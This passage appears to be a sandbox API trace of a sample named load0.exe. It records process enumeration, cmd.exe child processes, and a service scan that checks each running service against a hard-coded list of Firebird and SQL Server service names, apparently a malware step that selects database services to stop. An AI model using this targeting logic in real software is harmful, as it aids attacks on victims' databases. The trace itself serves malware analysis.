returned 11 [0287.111] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.112] lstrlenW (lpString="svchost.exe") returned 11 [0287.112] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0287.113] lstrlenW (lpString="spoolsv.exe") returned 11 [0287.113] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.113] lstrlenW (lpString="svchost.exe") returned 11 [0287.113] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x698, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0287.114] lstrlenW (lpString="audiodg.exe") returned 11 [0287.114] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0287.115] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0287.115] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0287.116] lstrlenW (lpString="Memory Compression") returned 18 [0287.116] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0287.116] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0287.116] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x874, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0287.117] lstrlenW (lpString="sihost.exe") returned 10 [0287.117] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x884, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.117] lstrlenW (lpString="svchost.exe") returned 11 [0287.118] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0287.118] lstrlenW (lpString="taskhostw.exe") returned 13 [0287.118] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0287.119] lstrlenW (lpString="msoia.exe") returned 9 [0287.119] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x37, th32ParentProcessID=0x9b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0287.119] lstrlenW (lpString="explorer.exe") returned 12 [0287.119] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0287.120] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0287.120] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0287.121] lstrlenW (lpString="SearchUI.exe") returned 12 [0287.121] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0287.121] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0287.121] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0287.122] lstrlenW (lpString="load0.exe") returned 9 [0287.122] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="load0.exe")) returned 1 [0287.123] lstrlenW (lpString="load0.exe") returned 9 [0287.123] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0287.123] lstrlenW (lpString="svchost.exe") returned 11 [0287.123] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2740, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xc6c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0287.124] lstrlenW (lpString="cmd.exe") returned 7 [0287.124] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2740, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0287.125] lstrlenW (lpString="conhost.exe") returned 11 [0287.125] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x27b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdac, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0287.125] lstrlenW (lpString="cmd.exe") returned 7 [0287.125] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x27b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0287.126] lstrlenW (lpString="conhost.exe") returned 11 [0287.126] Process32NextW (in: hSnapshot=0x10a8, lppe=0x8d1fd2c | out: lppe=0x8d1fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x27b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0287.127] CloseHandle (hObject=0x10a8) returned 1 [0287.127] Sleep (dwMilliseconds=0x1f4) [0287.841] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x7bd5a8 [0287.841] EnumServicesStatusExW (in: hSCManager=0x7bd5a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 0 [0287.842] GetLastError () returned 0xea [0287.842] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x1d10) returned 0x7c70f0 [0287.842] EnumServicesStatusExW (in: hSCManager=0x7bd5a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7c70f0, cbBufSize=0x1d10, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7c70f0, pcbBytesNeeded=0x8d1ff3c, lpServicesReturned=0x8d1ff54, lpResumeHandle=0x0) returned 1 [0287.843] CloseServiceHandle (hSCObject=0x7bd5a8) returned 1 [0287.843] lstrlenW (lpString="Appinfo") returned 7 [0287.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0287.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0287.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0287.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0287.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0287.843] lstrlenW (lpString="AppXSvc") returned 7 [0287.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0287.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0287.843] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0287.843] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0287.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0287.843] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0287.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0287.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0287.843] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0287.843] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0287.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0287.843] lstrlenW (lpString="Audiosrv") returned 8 [0287.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0287.843] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0287.843] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0287.843] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0287.843] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0287.843] lstrlenW (lpString="BFE") returned 3 [0287.843] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0287.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0287.844] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0287.844] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0287.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0287.844] lstrlenW (lpString="BITS") returned 4 [0287.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0287.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0287.844] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0287.844] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0287.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0287.844] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0287.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0287.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0287.844] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0287.844] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0287.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0287.844] lstrlenW (lpString="CDPSvc") returned 6 [0287.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0287.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0287.844] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0287.844] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0287.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0287.844] lstrlenW (lpString="ClickToRunSvc") returned 13 [0287.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0287.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0287.844] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0287.844] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0287.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0287.844] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0287.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0287.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0287.844] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0287.844] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0287.844] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0287.844] lstrlenW (lpString="CryptSvc") returned 8 [0287.844] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0287.844] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0287.845] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0287.845] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0287.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0287.845] lstrlenW (lpString="DcomLaunch") returned 10 [0287.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0287.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0287.845] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0287.845] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0287.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0287.845] lstrlenW (lpString="DeviceAssociationService") returned 24 [0287.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0287.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0287.845] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0287.845] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0287.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0287.845] lstrlenW (lpString="Dhcp") returned 4 [0287.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0287.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0287.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0287.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0287.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0287.845] lstrlenW (lpString="Dnscache") returned 8 [0287.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0287.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0287.845] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0287.845] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0287.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0287.845] lstrlenW (lpString="DPS") returned 3 [0287.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0287.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0287.845] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0287.845] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0287.845] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0287.845] lstrlenW (lpString="DusmSvc") returned 7 [0287.845] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0287.845] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0287.845] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0287.846] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0287.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0287.846] lstrlenW (lpString="EventLog") returned 8 [0287.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0287.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0287.846] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0287.846] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0287.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0287.846] lstrlenW (lpString="EventSystem") returned 11 [0287.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0287.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0287.846] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0287.846] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0287.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0287.846] lstrlenW (lpString="FontCache") returned 9 [0287.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0287.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0287.846] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0287.846] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0287.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0287.846] lstrlenW (lpString="gpsvc") returned 5 [0287.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0287.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0287.846] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0287.846] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0287.846] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0287.846] lstrlenW (lpString="iphlpsvc") returned 8 [0287.846] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0287.846] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0287.846] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0287.846] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0287.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0287.847] lstrlenW (lpString="KeyIso") returned 6 [0287.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0287.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0287.847] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0287.847] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0287.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0287.847] lstrlenW (lpString="LanmanServer") returned 12 [0287.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0287.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0287.847] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0287.847] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0287.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0287.847] lstrlenW (lpString="LanmanWorkstation") returned 17 [0287.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0287.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0287.847] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0287.847] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0287.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0287.847] lstrlenW (lpString="lfsvc") returned 5 [0287.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0287.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0287.847] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0287.847] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0287.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0287.847] lstrlenW (lpString="lmhosts") returned 7 [0287.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0287.847] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0287.847] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0287.847] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0287.847] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0287.847] lstrlenW (lpString="LSM") returned 3 [0287.847] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0287.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0287.848] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0287.848] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0287.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0287.848] lstrlenW (lpString="MpsSvc") returned 6 [0287.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0287.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0287.848] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0287.848] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0287.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0287.848] lstrlenW (lpString="NcbService") returned 10 [0287.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0287.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0287.848] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0287.848] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0287.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0287.848] lstrlenW (lpString="netprofm") returned 8 [0287.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0287.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0287.848] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0287.848] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0287.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0287.848] lstrlenW (lpString="NgcSvc") returned 6 [0287.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0287.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0287.848] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0287.848] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0287.848] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0287.848] lstrlenW (lpString="NlaSvc") returned 6 [0287.848] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0287.848] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0287.848] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0287.848] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0287.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0287.849] lstrlenW (lpString="nsi") returned 3 [0287.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0287.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0287.849] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0287.849] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0287.849] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0287.849] lstrlenW (lpString="PcaSvc") returned 6 [0287.849] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0287.849] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0287.849] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0287.849] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0287.849] 